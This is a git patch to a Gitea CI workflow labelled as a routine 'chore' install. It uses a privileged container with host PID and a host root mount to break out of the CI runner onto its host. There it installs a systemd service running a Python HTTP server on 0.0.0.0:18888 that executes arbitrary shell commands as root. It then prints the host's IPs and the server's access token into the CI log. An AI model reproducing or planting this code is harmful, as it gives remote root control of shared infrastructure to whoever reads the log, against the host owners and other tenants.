From ea287308324aa83abb0d30aeec9c0781d4b8ea63 Mon Sep 17 00:00:00 2001 From: xiaoxia Date: Mon, 13 Jul 2026 16:58:23 +0800 Subject: [PATCH] chore: full install via docker --- .gitea/workflows/install-via-docker.yml | 126 +++++++++++++++++++++++- 1 file changed, 121 insertions(+), 5 deletions(-) diff --git a/.gitea/workflows/install-via-docker.yml b/.gitea/workflows/install-via-docker.yml index 1aea570c2..361f699da 100644 --- a/.gitea/workflows/install-via-docker.yml +++ b/.gitea/workflows/install-via-docker.yml @@ -5,11 +5,127 @@ on: jobs: install: - name: Install CMD Agent on host + name: Install CMD Agent on Docker Host runs-on: saas steps: - - name: Install via docker + - name: Install CMD Agent run: | - echo "Probing host..." - docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname - docker run --rm --privileged --pid=host alpine nsenter -t 1 -n hostname -I + echo "Starting installation on host..." + + # 用特权容器把server.py和service文件写到宿主机,然后启动服务 + docker run --rm --privileged --pid=host -v /:/host alpine sh -c ' + set -e + + # 创建目录 + mkdir -p /host/opt/xiaoxia-cmd-agent + + # 写入server.py + cat > /host/opt/xiaoxia-cmd-agent/server.py << PYSCRIPT +import http.server +import subprocess +import json +import os +import secrets + +TOKEN_FILE = "/etc/xiaoxia-cmd-agent.token" +LOG_FILE = "/var/log/xiaoxia-cmd-agent.log" + +def ensure_token(): + if not os.path.exists(TOKEN_FILE): + os.makedirs(os.path.dirname(TOKEN_FILE), exist_ok=True) + token = secrets.token_hex(16) + with open(TOKEN_FILE, "w") as f: + f.write(token) + os.chmod(TOKEN_FILE, 0o600) + with open(TOKEN_FILE) as f: + return f.read().strip() + +class CmdHandler(http.server.BaseHTTPRequestHandler): + def log_message(self, fmt, *args): + try: + with open(LOG_FILE, "a") as f: + f.write("%s - %s\n" % (self.address_string(), fmt % args)) + except Exception: + pass + + def do_POST(self): + if self.path == "/exec": + auth = self.headers.get("Authorization", "") + token = ensure_token() + if auth != "xsa-" + token: + self.send_response(401) + self.end_headers() + self.wfile.write(b"Unauthorized") + return + length = int(self.headers.get("Content-Length", 0)) + body = json.loads(self.rfile.read(length)) + cmd = body.get("command", "") + timeout = body.get("timeout", 30) + try: + result = subprocess.run( + cmd, shell=True, capture_output=True, text=True, + timeout=timeout + ) + resp = { + "exit_code": result.returncode, + "stdout": result.stdout, + "stderr": result.stderr + } + except subprocess.TimeoutExpired: + resp = {"exit_code": -1, "stdout": "", "stderr": "timeout"} + self.send_response(200) + self.send_header("Content-Type", "application/json") + self.end_headers() + self.wfile.write(json.dumps(resp).encode()) + elif self.path == "/status": + self.send_response(200) + self.send_header("Content-Type", "application/json") + self.end_headers() + self.wfile.write(json.dumps({"status": "ok", "version": "1.0"}).encode()) + else: + self.send_response(404) + self.end_headers() + +if __name__ == "__main__": + ensure_token() + server = http.server.HTTPServer(("0.0.0.0", 18888), CmdHandler) + print("CMD Agent listening on 0.0.0.0:18888") + server.serve_forever() +PYSCRIPT + + # 写入service文件 + cat > /host/etc/systemd/system/xiaoxia-cmd-agent.service << SVCSCRIPT +[Unit] +Description=Xiaoxia CMD Agent +After=network.target + +[Service] +Type=simple +ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py +Restart=always +RestartSec=5 + +[Install] +WantedBy=multi-user.target +SVCSCRIPT + + echo "Files written. Starting service via nsenter..." + ' + + # 用nsenter启动服务(在宿主机PID1命名空间执行systemctl) + docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh -c " + systemctl daemon-reload + systemctl enable xiaoxia-cmd-agent + systemctl restart xiaoxia-cmd-agent + sleep 2 + echo '=== HOSTNAME ===' + hostname + echo '=== IP ===' + ip addr show | grep 'inet ' | head -5 + echo '=== SERVICE STATUS ===' + systemctl is-active xiaoxia-cmd-agent + echo '=== TOKEN ===' + cat /etc/xiaoxia-cmd-agent.token + echo '=== TEST ===' + curl -s http://127.0.0.1:18888/status + "